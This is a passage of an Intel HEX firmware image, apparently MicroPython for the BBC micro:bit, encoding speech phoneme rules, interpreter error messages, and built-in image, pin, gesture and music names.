:105050002953BD2E285329203DDA233A2E452853C3 :1050600029203DDA233A5E23285329203DD35528B1 :105070005329203DD3203A23285329203DDA2323E6 :10508000285329203DDA2028534348293D53CB2873 :105090005329432BBD2328534D293D5A55CD232851 :1050A000534E29273D5A55CD2853544C45293D533D :1050B00055CC2853293DD35DD420285429203D5474 :1050C0004959B420285448452920233D444849D90A :1050D000202854484529203D444841D828544F2988 :1050E000203D5455D8202854484154293D44484136 :1050F00045D420285448495329203D44484948D3A1 :10510000202854484559293D444845D92028544829 :10511000455245293D44484548D2285448455229DE :105120003D444845D2285448454952293D444845C4 :1051300048D220285448414E29203D44484145CE7C :1051400020285448454D29203D44484145CE285407 :105150004845534529203D44484959DA20285448B8 :10516000454E293D44484548CE285448524F55475E :1051700048293D5448525557B42854484F5345295F :105180003D44484F48DA2854484F55474829203D68 :1051900044484FD728544F444159293D5455584409 :1051A00045D928544F4D4F2952524F573D54554DD4 :1051B0004141B528544F2954414C3D544F57B520D7 :1051C0002854485553293D4448414834D32854482D :1051D000293D54C8233A28544544293D544958C4CC :1051E0005328544929234E3D43C8285449294F3D4B :1051F00053C828544929413D53C8285449454E298C :105200003D534855CE2854555229233D434845D255 :1052100028545529413D434855D7202854574F29F4 :105220003D5455D726285429454E20BD2854293DA4 :10523000D45DD520285529203D595557B4202855EF :105240004E29493D595557CE2028554E293D4148B4 :10525000CE202855504F4E293D415850414FCE4009 :1052600028555229233D554834D228555229233DEB :1052700059554834D2285552293D45D22855295EE2 :10528000203D41C82855295E5E3D4148B528555905 :10529000293D4159B5204728552923BD472855297F :1052A00025BD47285529233DD7234E2855293D594B :1052B00055D7402855293D55D72855293D5955D70B :1052C0005DD620285629203D564959B428564945CF :1052D00057293D56595557B52856293DD65DD720F3 :1052E000285729203D4441483442554C5955D72030 :1052F0002857455245293D5745D2285741295348FB :105300003D5741C12857412953543D5745D9285746 :105310004129533D5741C828574129543D5741C160 :10532000285748455245293D57484548D2285748AF :105330004154293D57484148D42857484F4C293DAE :105340002F484F57CC2857484F293D2F4855D7282D :105350005748293D57C82857415229233D574548AA :10536000D228574152293D57414FD228574F5229F1 :105370005E3D5745D2285752293DD228574F4D29D7 :10538000413D575548CD28574F4D29453D57494830 :10539000CD2857454129523D5745C82857414E54BD :1053A000293D574141354ED4414E53285745522946 :1053B0003D45D22857293DD75DD820285829203D82 :1053C0004548344BD2202858293DDA2858293D4BEE :1053D000D35DD920285929203D574159B428594F28 :1053E000554E47293D5941484ED82028594F5552CE :1053F000293D594F48D22028594F55293D5955D755 :105400002028594553293D594548D3202859293D3D :10541000D9462859293D41D9505328594348293D57 :105420004159CB233A5E2859293D49D9233A5E2870 :105430005929493D49D9203A285929203D41D920A7 :105440003A285929233D41D9203A2859295E2B3A37 :10545000233D49C8203A2859295E233D41D928597E :10546000293D49C85DDA20285A29203D5A4959B4B6 :10547000285A293DDAEA284129BD2821293DAE28AC :105480002229203D2D4148354E4B574F5754AD28CA :1054900022293D4B574F573454AD2823293D204EE8 :1054A0004148344D4245D22824293D2044414134CD :1054B0004C45D22825293D20504552534548344E6D :1054C000D42826293D2041454EC4282729BD282A15 :1054D000293D2041453453544552494853CB282B4C :1054E000293D20504C414834D3282C293DAC20285C :1054F0002D29203DAD282D29BD282E293D20504F96 :10550000594ED4282F293D20534C41453453C828A7 :1055100030293D205A495934524FD720283153540D :10552000293D4645523453D4202831305448293D32 :10553000544548344E54C82831293D2057414834F9 :10554000CE2028324E44293D534548344B554EC455 :105550002832293D20545557B42028335244293D40 :105560005448455234C42833293D2054485249599F :10557000B42834293D20464F4834D2202835544899 :10558000293D464948344654C82835293D204641DE :105590005934D62028363429203D534948344B53BA :1055A00054495920464F48D22836293D205349486E :1055B000344BD32837293D20534548345655CE2007 :1055C00028385448293D45593454C82838293D20A5 :1055D000455934D42839293D204E415934CE283AF2 :1055E000293DAE283B293DAE283C293D204C45486D :1055F00034532044484145CE283D293D2049593463 :105600004B57554CDA283E293D20475245593454D2 :1056100045522044484145CE283F293DBF284029D6 :105620003D20414536D4285E293D204B414534522A :105630004958D45DC10000000000000000000000D7 :10564000000000000000000000000000000000005A :1056500000000000000002020202020282000002BA :105660000202020202030303030303030303030210 :10567000020202020202C0A8B0ACC0A0B8A0C0BC26 :10568000A0ACA8ACC0A0A0ACB4A4C0A8A8B0C0BC3A :10569000000000020020209B20C0B920CDA34C8A2E :1056A0008E0095F7A239C5067EC726374E91F15573 :1056B000A1FE24452DA736532E47DA7D7E7E7F80BE :1056C0008182828284848484848587878888898A89 :1056D0008B8B8C8C8C73747265616D206F706572AE :1056E0006174696F6E206E6F7420737570706F7265 :1056F000746564006F7574206F66206D656D6F72E0 :105700007900006571016E65026373036363046D64 :105710006905706C067673077663086869096C73AF :105720000A67650B6C740C67740D6C6563616E20A1 :105730006F6E6C79206861766520757020746F20BB :105740003420706172616D657465727320746F20AE :105750005468756D6220617373656D626C79007059 :105760006172616D6574657273206D75737420620A :10577000652072656769737465727320696E207342 :10578000657175656E636520723020746F207233A9 :105790000027257327206578706563747320616E18 :1057A0002061646472657373206F6620746865207D :1057B000666F726D205B612C20625D00756E737583 :1057C00070706F72746564205468756D6220696EC4 :1057D000737472756374696F6E2027257327207741 :1057E00069746820256420617267756D656E7473D5 :1057F000006272616E6368206E6F7420696E207241 :10580000616E67650004656F72086C736C0C6C7375 :10581000721061737214616463187362631C726F37 :105820007220747374246E656728636D702C636DC9 :105830006E306F7272346D756C386269633C6D7670 :105840006E27257327206578706563747320616EF9 :1058500020696E7465676572002725732720696E5D :105860007465676572203078257820646F657320D1 :105870006E6F742066697420696E206D61736B2091 :105880003078257800272573272065787065637444 :10589000732061206C6162656C006C6162656C20D4 :1058A00027257127206E6F7420646566696E6564B4 :1058B00000272573272065787065637473206174F1 :1058C000206D6F737420722564002725732720656F :1058D000787065637473206120726567697374659D :1058E0007200272573272065787065637473207BA9 :1058F00072302C2072312C202E2E2E7D0000723022 :1059000000017231000272320003723300047234FB :1059100000057235000672360007723700087238CB :1059200000097239000A7231300B7231310C723158 :10593000320D7231330E7231340F7231350A736C9D :10594000000B6670000D7370000E6C72000F7063B8 :105950000000010102020202030303030303030325 :105960000463616E277420636F6E766572742069BC :105970006E6620746F20696E740063616E277420F8 :10598000636F6E76657274204E614E20746F20696D :105990006E7400696D6167652063616E6E6F74205F :1059A0006265206D6F646966696564202874727928 :1059B00020636F7079696E6720666972737429005D :1059C000657870656374696E6720616E20696D61CA :1059D0006765006D757374207370656369667920FF :1059E000626F7468206F6666736574730073697A9A :1059F000652063616E6E6F74206265206E656761FD :105A000074697665006272696768746E6573732085 :105A10006D756C7469706C696572206D7573742036 :105A20006E6F74206265206E6567617469766500CB :105A3000696E6465782063616E6E6F7420626520A4 :105A40006E6567617469766500696E646578207457 :105A50006F6F206C6172676500756E657870656345 :105A60007465642063686172616374657220696E35 :105A700020496D61676520646566696E6974696F48 :105A80006E00496D6167652873292074616B6573C9 :105A9000206120737472696E6700696D61676520AB :105AA0006461746120697320696E636F72726563EB :105AB000742073697A6500496D61676528292074CF :105AC000616B6573203020746F20332061726775BD :105AD0006D656E747300496D61676528000A20204A :105AE000202000270A2020202027003031323334A4 :105AF000353637383900696D61676573206D7573A8 :105B000074206265207468652073616D6520736917 :105B10007A6500706F706974656D28293A20646930 :105B20006374696F6E61727920697320656D70743A :105B3000790025712800646963742075706461744C :105B4000652073657175656E636520686173207784 :105B5000726F6E67206C656E67746800285B005D0D :105B60002900646963745F6974656D7300646963B7 :105B7000745F6B65797300646963745F76616C75DB :105B8000657300657870656374696E672061207065 :105B9000696E00696E76616C696420706572696F08 :105BA0006400696E76616C69642070756C6C007657 :105BB000616C7565206D7573742062652062657413 :105BC0007765656E203020616E642031303233009D :105BD00076616C7565206D75737420626520302068 :105BE0006F72203100736C69636520737465702077 :105BF00063616E6E6F74206265207A65726F006FEC :105C0000626A656374206E6F7420696E20736571BB :105C100075656E6365007A65726F207374657000D8 :105C200072616E67652825642C202564002C202570 :105C30006429000506070409080A04031213141650 :105C400015170F0D0E111063616E277420617373A9 :105C500069676E20746F206C69746572616C006393 :105C6000616E27742061737369676E20746F20659D :105C7000787072657373696F6E00696C6C656761CB :105C80006C2065787072657373696F6E20666F72D1 :105C9000206175676D656E746564206173736967F3 :105CA0006E6D656E74006D756C7469706C65202A1C :105CB0007820696E2061737369676E6D656E74001C :105CC00063616E27742064656C6574652065787007 :105CD00072657373696F6E00657870656374696E61 :105CE00067206B65793A76616C756520666F722006 :105CF00064696374696F6E61727900657870656359 :105D000074696E67206A75737420612076616C75A2 :105D10006520666F722073657400737570657228F4 :105D2000292063616E27742066696E642073656C38 :105D3000660027627265616B27206F7574736964F2 :105D400065206C6F6F700027636F6E74696E756588 :105D500027206F757473696465206C6F6F700069BC :105D60006E76616C6964206D6963726F70797468B6 :105D70006F6E206465636F7261746F72006E6F6E18 :105D80002D64656661756C7420617267756D656EF2 :105D90007420666F6C6C6F77732064656661756CD8 :105DA0007420617267756D656E74006964656E74E8 :105DB0006966696572207265646566696E656420EE :105DC000617320676C6F62616C0063616E27742081 :105DD0006465636C617265206E6F6E6C6F63616C7D :105DE00020696E206F7574657220636F6465006E44 :105DF0006F2062696E64696E6720666F72206E6FD5 :105E00006E6C6F63616C20666F756E6400696465AB :105E10006E746966696572207265646566696E652F :105E200064206173206E6F6E6C6F63616C0027720B :105E3000657475726E27206F75747369646520666A :105E4000756E6374696F6E006E616D652072657545 :105E500073656420666F7220617267756D656E741C :105E600000696E6C696E6520617373656D626C6547 :105E700072206D75737420626520612066756E6393 :105E800074696F6E00756E6B6E6F776E20747970CB :105E9000650072657475726E20616E6E6F746174E8 :105EA000696F6E206D75737420626520616E206964 :105EB00064656E746966696572006578706563749F :105EC000696E6720616E20617373656D626C6572C7 :105ED00020696E737472756374696F6E00276C61EC :105EE00062656C2720726571756972657320312057 :105EF000617267756D656E74006C6162656C2072AD :105F000065646566696E65640027616C69676E2704 :105F100020726571756972657320312061726775D1 :105F20006D656E74002764617461272072657175F8 :105F300069726573206174206C656173742032200E :105F4000617267756D656E74730027646174612793 :105F500020726571756972657320696E7465676515 :105F60007220617267756D656E7473002A78206D9A :105F70007573742062652061737369676E6D656EF9 :105F800074207461726765740063616E27742068A1 :105F9000617665206D756C7469706C65202A780077 :105FA00063616E27742068617665206D756C746915 :105FB000706C65202A2A78004C4853206F66206B4D :105FC0006579776F726420617267206D75737420D4 :105FD000626520616E206964006E6F6E2D6B65795D :105FE000776F726420617267206166746572202A1F :105FF0002F2A2A006E6F6E2D6B6579776F72642081 :10600000617267206166746572206B6579776F7263 :1060100064206172670064656661756C7420276531 :1060200078636570743A27206D75737420626520FB :106030006C61737400277969656C6427206F7574CF :10604000736964652066756E6374696F6E002C00F9 :10605000696E76616C6964206E756D626572206F21 :106060006620706978656C7300696E76616C69642E :1060700020636F6C6F75720050696E202564206913 :106080006E202571206D6F646500616464726573B4 :10609000732025303878206973206E6F7420616C0E :1060A00069676E656420746F202564206279746569 :1060B00073003C25752D626974206D656D6F727972 :1060C0003E004743206D656D6F7279206C61796F7A :1060D00075743B2066726F6D2025703A000A20208F :1060E0002020202020282575206C696E6573206192 :1060F0006C6C206672656529000A253035783A2077 :106100000047433A20746F74616C3A2025752C2047 :10611000757365643A2025752C20667265653A2092 :1061200025750A00204E6F2E206F6620312D626C7F :106130006F636B733A2025752C20322D626C6F6370 :106140006B733A2025752C206D617820626C6B2072 :10615000737A3A2025752C206D617820667265650A :1061600020737A3A2025750A0052656164206572B1 :10617000726F72004F75742D6F662D62756666655D :10618000722072656164005772697465206572726D :106190006F720000000000000D0D0E0F0F0F0F0FAB :1061A0000C0D0C0F0F0D0D0D0E0D0C0D0D0D0C0922 :1061B0000900000000000000000B0B0B0B000001A9 :1061C0000B00020E0F0F0F0F0D020400020400015E :1061D0000400010400000000000000000C000000AA :1061E000000F0F00000000000A0B0D0E0D0C0C0B31 :1061F000090B0B0C0C0C08080C080A08080A030908 :106200000600000000000000000305030400000079 :10621000050A020E0D0C0D0C080001000001000023 :106220000100000100000000000000000A00000A58 :10623000000000000000000008070808010100013C :106240000007050100060100070005010008000025 :10625000030000000000000000000100000000003A :10626000010E010901000100000000000000000013 :106270000000000000000000000000000700000512 :1062800000131000010202020303040405060809BA :106290000B0D0F00001F1F1F1F020202020202024D :1062A00002020505020A020805050B0A090808A0F2 :1062B0000808171F121212121E1E14141414171796 :1062C0001A1A1D1D0202020202021A1D1B1A1D1BB0 :1062D0001A1D1B1A1D1B171D17171D17171D171722 :1062E0001D17171700131313130A0E12181A16147A :1062F00010140E120E1212100C0E0A120E0A0806BC :1063000006060611060606060E10090A080A060603 :1063100006050600121A141A120C060606060606D0 :10632000060606060606060606060606060A0A0605 :1063300006062C1300434343435448423E282C1E78 :10634000242C4830241E32241C4418321E18522E8D :1063500036563643494F1A4249253342282F4F4F6C :10636000424F6E0048261E2A1E221A1A1A42424224 :106370006E6E6E5454541A1A1A4242426D566D543F :1063800054547F7F005B5B5B5B6E5D5B5859575875 :1063900052595D3E52583E6E505D5A3C6E5A6E5197 :1063A0007965795B636A51795D525D674C5D6565BE :1063B000796579005A58585858525151517979791C :1063C000706E6E5E5E5E5151517979796565705E71 :1063D0005E5E0801000202020204040404040404D4 :1063E0000404040404040303040403030303030177 :1063F0000203020103030303010103030302020377 :106400000203000005050505040402000202000362 :106410000200040200030200020200020300030360 :106420000003B0A000000000000A0E13181B17158F :1064300010140E120E1212100D0F0B120E0B090675 :106440000606000000000000000000000000000040 :1064500000000000131B151B120D000000000000BF :106460000000000000000000000000000001010228 :1064700002030304040505060607070001020304DE :1064800005060708090A0B0C0D0E0F000103040690 :1064900007090A0C0D0F1012131516000204060846 :1064A0000A0C0E10121416181A1C1E000205070AF8 :1064B0000C0F111416191B1E202325000306090CAE :1064C0000F1215181B1E2124272A2D0003070A0E60 :1064D0001115181C1F23262A2D313400FCF8F4F066 :1064E000ECE8E4E0DCD8D4D0CCC8C400FCF9F5F288 :1064F000EEEBE7E4E0DDD9D6D2CFCB00FDFAF7F43E :10650000F1EEEBE8E5E2DFDCD9D6D300FDFBF8F6EF :10651000F3F1EEECE9E7E4E2DFDDDA00FEFCFAF8A5 :10652000F6F4F2F0EEECEAE8E6E4E200FEFDFBFA57 :10653000F8F7F5F4F2F1EFEEECEBE900FFFEFDFC0D :10654000FBFAF9F8F7F6F5F4F3F2F100FFFFFEFEBF :10655000FDFDFCFCFBFBFAFAF9F9F800020202026D :1065600004040404040404040404040404030204EE :106570000402020202020101010101010101010103 :1065800001020202010001000100050505050504E4 :1065900004020001020001020001020001020002E7 :1065A000020001030002030002A0A000000000009E :1065B00001010101010101010101010101010101CB :1065C00001010101010101010100000000000000C2 :1065D00000000000000000000000000101010101B6 :1065E00000000000000000000000000000000000AB :1065F000000000000000000000000000000000900B :10660000909090909090909090909090909090908A :10661000909090909090909090909090909090907A :10662000909090909090909090909090909090906A :10663000909090909090909090909090909090905A :10664000909090909090909090909090909090904A :10665000909090909090909090909090909090903A :10666000909090909090909090909090909090902A :10667000909090909090909090909090909090703A :10668000707070707070707070707070707070700A :1066900070707070707070707070707070707070FA :1066A00070707070707070707070707070707070EA :1066B00070707070707070707070707070707070DA :1066C00070707070707070707070707070707070CA :1066D00070707070707070707070707070707070BA :1066E00070707070707070707070707070707070AA :1066F00070707070707070707070707070707038D2 :10670000846B19C66318867398C6B11CCA318CC7CE :106710003188C23098463118C6350CCA310CC621B2 :1067200010246912C23114C471084A2249AB6AA804 :10673000AC495132D55288936C94221554D2259687 :10674000D450A5462108856B18C46310CE6B188CF5 :1067500071198C63350CC63399CC6CB54EA2994631 :10676000212882952EE3309CC5309CA2B19C6731D4 :106770008866592C5318846750CAE30AACAB30AC16 :1067800062308C63109462B18C8228963398D6B5AF :106790004C6229A54AB59CC63114D6389C4BB486A8 :1067A0006518AE671CA66319962319841308A652B0 :1067B000ACCA22896EAB198C6234C4621986631824 :1067C000C42358D6A35042544AAD4A25116B64895C :1067D0004A63398A23312AEAA2A944C512CD423438 :1067E0008C62188C63114866319D44331D46319C80 :1067F000C6B10CCD3288C47318867308D6635807A7 :1068000081E0F03C0787903C7C0FC7C0C0F07C1E45 :10681000078080001C7870F1C71FC00CFE1C1F1F72 :106820000E0A7AC071F2838F030F0F0C0079F861A2 :10683000E0430F83E718F9C113DAE9638F0F83830D :1068400087C31F3C70F0E1E1E387B8710E20E38D50 :1068500048781C938730E1C1C1E478218383C387E2 :106860000639E5C387070E1C1C70F4719C60363234 :10687000C31E3CF38F0E3C70E3C78F0F0F0E3C78A6 :10688000F0E38706F0E307C199870F18787070FC72 :10689000F310B18C8C317C70E1863C646CB0E1E328 :1068A0000F238F0F1E3E383C387B8F070E3CF417AA :1068B0001E3C78F29E7249E32536385839E2DE3CB8 :1068C0007878E1C761E1E1B0F0F0C3C70E38C0F0FD :1068D000CE73731834B0E1C78E1C3CF838F0E1C1B8 :1068E0008B868F1C7870F078ACB18F3931DB3861D2 :1068F000C30E0E387873171E391E3864E1F1C14E8D :106900000F40A202C58F81A1FC120864E03C22E086 :1069100045078E0C3290F01F2049E0F80C60F0170C :106920001A41AAA4D08D12821E1E03F83E030C73D6 :10693000807044260324E13E044E041CC109CC9E11 :10694000902107904364C00FC6909CC15B03E21D79 :1069500081E05E1D0384B82C0F80B183E030411EBE :1069600043898350FC242E1383F17C4C2CC90D8366 :10697000B0B582E4E8069C07A0991D073E828F709F :10698000307440CA10E4E80F92143F06F88488433C :10699000810A343941C6E31C4703B0B8130AC26404 :1069A000F818F960B3C0652060A68CC3812030263A :1069B0001E1C38D301B02640F40BC3421F8532267B :1069C0006040C9CB01EC112840FA0434E0704C8CD3 :1069D0001D07690316C80423E8C69A0B1A03E0765C :1069E0000605CF1EBC5831716600F83F04FC0C74DC :1069F000278A8071C23A2606C01F050F9840AE0153 :106A00007FC007FF000EFE0003DF8003EF801BF155 :106A1000C200E7E018FCE021FC803CFC400E7E0058 :106A20003F3E000FFE001FFF003EF007FC007E10FF :106A30003FFF003F380E7C01870CFCC7003E040F6F :106A40003E1F0F0F1F0F028387CF03870F3FC00723 :106A50009E603FC003FE003FE077E1C0FEE0C3E080 :106A600001DFF80307007E70007C3818FE0C1E78EA :106A70001C7C3E0E1F1E1E3E007F8307DB878307A4 :106A8000C7071071FF003FE201E0C1C3E1007FC012 :106A900005F020F8F070FE7879F8023F0C8F030FB4 :106AA0009FE0C1C78703C3C3B0E1E1C1E3E071F078 :106AB00000FC707C0C3E380E1C70C3C70381C1C73C :106AC000E7000FC7871909EFC433E0C1FCF870F085 :106AD00078F8F061C7001FF8017CF8F078703C7C12 :106AE000CE0E2183CF08078F08C1878F80C7E300B0 :106AF00007F8E0EF0039F7800EF8E1E3F8219FC0D6 :106B0000FF03F807C01FF8C404FCC4C1BC87F00F22 :106B1000C07F05E025ECC03E8447F08E03F803FB00 :106B2000C019F8079C0C17F807E01FA1FC0FFC0127 :106B3000F03F00FE03F01F00FD00FF880DF901FF8C :106B4000007007C03E42F30DC47F80FC07F05EC0BA :106B50003F00783F81FF01F801C3E80CE4648FE453 :106B60000FF007F0C21F007FC06F807E03F807F0B0 :106B70003FC0780F8207FE227770027603FE00FE88 :106B800067007CC7F18EC63BE03F84F319D80399B8 :106B9000FC09B80FF8009D2461F90D00FD03F01FFA :106BA000903F01F81FD00FF83701F807F00FC03FF2 :106BB00000FE03F80FC03F00FA03F00F80FF01B89A :106BC00007F001FC01BC80131E007FE1407FA07F25 :106BD000B0003FC01FC0380FF01F80FF01FC03F161 :106BE0007E01FE01F0FF007FC01D07F00FC07E0692 :106BF000E007E00FF806C1FE01FC03E00F00FC0017 :106C00000000000000000000000000000000000084 :106C1000000000000000000000000000000000F183 :106C2000E2D3BB7C95010203030072000200000066 :106C30000000000000000000000000000000000054 :106C400000001B0000190000000000000000000010 :106C500000001010101010102020202020203030B4 :106C60003030303030404040404040405050505034 :106C70005050505060606060606060606060606054 :106C80007070707070707070707070707070707004 :106C90007070707070707070707070707070706004 :106CA0006060606060606060606060505050505034 :106CB0005050504040404040404030303030303004 :106CC0003020202020202010101010101000000074 :106CD0000000F0F0F0F0F0F0E0E0E0E0E0E0D0D034 :106CE000D0D0D0D0D0C0C0C0C0C0C0C0B0B0B0B094 :106CF000B0B0B0B0A0A0A0A0A0A0A0A0A0A0A0A054 :106D00009090909090909090909090909090909083 :106D1000909090909090909090909090909090A063 :106D2000A0A0A0A0A0A0A0A0A0A0A0B0B0B0B0B013 :106D3000B0B0B0C0C0C0C0C0C0C0D0D0D0D0D0D023 :106D4000D0E0E0E0E0E0E0F0F0F0F0F0F000000093 :106D500000E0E6ECF3F900060C06181A1717170006 :106D6000000000005449433F282C1F252D493124A1 :106D70001E33251D4518321E18532E3656000000AE :106D800000000000000000000000000000000048BB :106D9000271F2B1E22004E6F6E6500696E76616C98 :106DA000696420676573747572650066756E6374D7 :106DB000696F6E206D697373696E67207265717596 :106DC0006972656420706F736974696F6E616C209D :106DD000617267756D656E74202325640066756E3B :106DE0006374696F6E206D697373696E6720726575 :106DF000717569726564206B6579776F7264206163 :106E00007267756D656E7420272571270066756E33 :106E10006374696F6E206D697373696E67206B654B :106E200079776F72642D6F6E6C7920617267756D02 :106E3000656E740049324320726561642065727228 :106E40006F7220256400493243207772697465208F :106E50006572726F7220256400000000000000005F :106E60000000030303030300000000000000000013 :106E70000000000000000000000301010101010109 :106E80000101010101010101014545454545454516 :106E90004545450101010101010159595959595906 :106EA0001919191919191919191919191919191952 :106EB00019191919010101010101696969696969F2 :106EC0002929292929292929292929292929292932 :106ED00029292929010101010000000402020402FC :106EE0000000020404040002020004040301000084 :106EF0000103030300010102030304020101030172 :106F00000403010003000004010102000003024D1C :106F1000656D6F72794572726F723A206C65786533 :106F20007220636F756C64206E6F7420616C6C6F7F :106F300063617465206D656D6F7279006C696E6553 :106F40002025752000257120006D61696E2E7079F5 :106F500000736F6674207265626F6F740D0A0000B3 :106F6000000005000051282573290A008F012A001E :106F7000FA015F008A012F006C0325236F007B0359 :106F80002523780058057B3A23627D00AF010A0073 :106F900073206D6178696D756D20726563757273AC :106FA000696F6E20646570746820657863656564D8 :106FB000656400BD083C6D6F64756C653E008008BB :106FC0003C6C616D6264613E00D40A3C6C69737410 :106FD000636F6D703E00CC0A3C64696374636F6DCF :106FE000703E0054093C736574636F6D703E0034ED :106FF000093C67656E657870723E0052083C737498 :1070000072696E673E00E3073C737464696E3E000C :10701000B7057574662D3800940468656C7000734C :1070200005696E70757400E00B636F6C6C6563745A :10703000696F6E7300120673747275637400C00812 :107040006D6963726F6269740010057265736574AF :1070500000EA05736C65657000C80C72756E6E6928 :107060006E675F74696D6500D00570616E6963005D :10707000E90B74656D706572617475726500A304C7 :1070800074686973006307617574686F727300F1E7 :107090000B616E7469677261766974790055046C6E :1070A0006F7665002C0862616461626F6F6D00CD60 :1070B000124D6963726F4269744469676974616CE7 :1070C00050696E0007184D6963726F426974416EB2 :1070D000616C6F674469676974616C50696E0052D6 :1070E000104D6963726F426974546F7563685069BB :1070F0006E00920C726561645F6469676974616CAB :1071000000FD0D77726974655F6469676974616C0D :1071100000620B726561645F616E616C6F67002D68 :107120000C77726974655F616E616C6F670008113E :107130007365745F616E616C6F675F706572696FB4 :107140006400EE1E7365745F616E616C6F675F70E3 :107150006572696F645F6D6963726F7365636F6E8B :107160006473007A1E6765745F616E616C6F675F40 :10717000706572696F645F6D6963726F7365636F69 :107180006E647300040A69735F746F756368656485 :10719000007906756E7573656400C80A6175646967 :1071A0006F5F706C617900F306627574746F6E00C6 :1071B0008005746F756368002002337600AF08673E :1071C00065745F6D6F646500E60A4D6963726F42B6 :1071D0006974494F00020470696E300003047069DD :1071E0006E3100010470696E3200010470696E3303 :1071F00000060470696E3400070470696E3500047F :107200000470696E3600050470696E37000A0470F8 :10721000696E38000B0470696E3900530570696E31 :10722000313000520570696E313100510570696E60 :10723000313200500570696E313300570570696E48 :10724000313400560570696E313500550570696E30 :107250003136005A0570696E313900300570696E3B :1072600032300049086765745F70756C6C00DD082A :107270007365745F70756C6C00BA0750554C4C5F49 :10728000555000AD0950554C4C5F444F574E001EB1 :10729000074E4F5F50554C4C00870D4D6963726F20 :1072A000426974496D616765006205496D61676592 :1072B000004205696D61676500230577696474683C :1072C00000FA0668656967687400B706696E7665D6 :1072D000727400CA0466696C6C00B0097365745FEF :1072E000706978656C00A4096765745F706978657A :1072F0006C00A10A73686966745F6C65667400BA95 :107300000B73686966745F726967687400DF08737D :10731000686966745F757000480A73686966745FAF :10732000646F776E00E2096D6F6E6F7370616365F5 :1073300000F604626C6974000F0548454152540020 :10734000CF0B48454152545F534D414C4C001505FD :107350004841505059009303534144009B05534DFD :10736000494C4500A608434F4E4655534544002618 :1073700005414E475259000B0641534C45455000BC :10738000880953555250524953454400C605534944 :107390004C4C59003008464142554C4F555300055E :1073A000034D4548000A035945530004024E4F005F :1073B0006E07434C4F434B313200DC06434C4F4386 :1073C0004B3100DF06434C4F434B3200DE06434C4B :1073D0004F434B3300D906434C4F434B3400D80640 :1073E000434C4F434B3500DB06434C4F434B360079 :1073F000DA06434C4F434B3700D506434C4F434BC3 :107400003800D406434C4F434B39006C07434C4F74 :10741000434B3130006D07434C4F434B313100ED4E :10742000074152524F575F4E00C8084152524F57C2 :107430005F4E4500E6074152524F575F4500B50881 :107440004152524F575F534500F0074152524F5738 :107450005F5300A7084152524F575F535700F4073C :107460004152524F575F5700DA084152524F575F0F :107470004E5700EB08545249414E474C45008F0D82 :10748000545249414E474C455F4C45465400510AC1 :107490004348455353424F41524400A10744494198 :1074A0004D4F4E4400610D4449414D4F4E445F5392 :1074B0004D414C4C00840653515541524500840CBB :1074C0005351554152455F534D414C4C00EB0652D0 :1074D0004142424954005E03434F5700AB0E4D55A5 :1074E0005349435F43524F5443484554005F0C4D4A :1074F000555349435F515541564552006C0D4D550A :107500005349435F51554156455253003309504941 :10751000544348464F524B00E204584D41530055E6 :10752000065041434D414E00B40654415247455424 :1075300000450654534849525400270B524F4C4CB7 :107540004552534B415445003C044455434B00A124 :1075500005484F55534500C808544F52544F49539E :1075600045005609425554544552464C5900E90BC2 :10757000535449434B46494755524500C205474875 :107580004F535400980553574F5244007D074749C5 :107590005241464645004805534B554C4C00C908DE :1075A000554D4252454C4C41009705534E414B4579 :1075B00000F10A414C4C5F4152524F575300C00AF0 :1075C000414C4C5F434C4F434B53005A0F4D696342 :1075D000726F426974446973706C617900910E73C3 :1075E00065745F6272696768746E657373009E107C :1075F0007365745F646973706C61795F6D6F6465E6 :10760000001F07646973706C617900860473686F8A :10761000770028067363726F6C6C00500564656CAC :10762000617900B8067374726964650085057374C6 :10763000617274008E04776169740039046C6F6F35 :107640007000E004636F7079000B0463726F700068 :10765000B505736C6963650098047465787400F609 :107660000B536C69636564496D61676500BD0F53B9 :1076700063726F6C6C696E67537472696E670064D5 :10768000026F6E008A036F666600610569735F6F43 :107690006E00C10646616361646500160E4D696344 :1076A000726F426974427574746F6E00ED08627592 :1076B00074746F6E5F6100EE08627574746F6E5F54 :1076C0006200E60A69735F7072657373656400F93E :1076D0000B7761735F7072657373656400FD0B6790 :1076E00065745F70726573736573005B154D6963D4 :1076F000726F426974416363656C65726F6D657426 :107700006572001E0D616363656C65726F6D6574F3 :1077100065720034056765745F78003505676574C8 :107720005F790036056765745F7A00F40A676574EF :107730005F76616C75657300D40F63757272656EE8 :10774000745F6765737475726500070A69735F67B4 :1077500065737475726500D80B7761735F676573C5 :107760007475726500180C6765745F67657374756E :1077700072657300A0027570003704646F776E0045 :10778000DE046C65667400E5057269676874002143 :107790000766616365207570003609666163652060 :1077A000646F776E00B6086672656566616C6C0022 :1077B000310233670094023667005A02386700319D :1077C000057368616B6500100F4D6963726F4269E4 :1077D00074436F6D70617373005507636F6D7061F3 :1077E0007373002D0768656164696E6700230D6916 :1077F000735F63616C69627261746564000209633E :10780000616C696272617465004911636C656172D3 :107810005F63616C6962726174696F6E00F4126714 :1078200065745F6669656C645F737472656E6774B6 :107830006800B80B4D6963726F4269744932430046 :107840005D0369326300B70472656164009805776F :107850007269746500B6046164647200CB016E00E5 :10786000740362756600F20672657065617400E506 :10787000046672657100530373646100F9037363F6 :107880006C0004056D7573696300A109667265710A :1078900075656E6379007B086475726174696F6EDB :1078A000008305706974636800F20370696E0021DB :1078B00004706C6179009B097365745F74656D7009 :1078C0006F008F096765745F74656D706F00DA0310 :1078D00062706D0043057469636B73009F054241DC :1078E000444459009D0742415F44494E4700FC080B :1078F000424952544844415900C805424C554553E9 :10790000005905434841534500FC09444144414462 :107910004144554D00480B454E5445525441494E43 :10792000455200420746554E4552414C00D304464D :10793000554E4B00AA094A554D505F444F574E00D3 :10794000FD074A554D505F5550003D044E59414E7C :10795000006B034F444500970A504F5745525F4410 :107960004F574E000108504F5745525F5550003A4F :10797000075052454C55444500EB0950554E43487D :107980004C494E4500B106505954484F4E00C70867 :1079900052494E47544F4E4500640957415741578D :1079A0004157414100170757454444494E4700C4D9 :1079B00001610067026123002C0461233A31002E2B :1079C0000461233A330076026132007002613400B0 :1079D000BB0461343A3100B90461343A33000F0317 :1079E000613A31000C03613A32000A03613A340013 :1079F0000B03613A3500C7016200DE0462323A319E :107A00000094026233009302623400D80462343A74 :107A10003100DB0462343A32009202623500D9044C :107A200062353A31000C03623A31000F03623A3298 :107A300000C6016300A502632300700363233500C1 :107A4000BB056323353A3100B8056323353A32006C :107A50006E0463233A3100670463233A3800FC0460 :107A600063323A3200B5026333007C0463333A3345 :107A7000007B0463333A3400B202633400F90463D8 :107A8000343A3100FB0463343A3300FC0463343A83 :107A90003400B302633500780463353A31007B0467 :107AA00063353A32007A0463353A33007D04633536 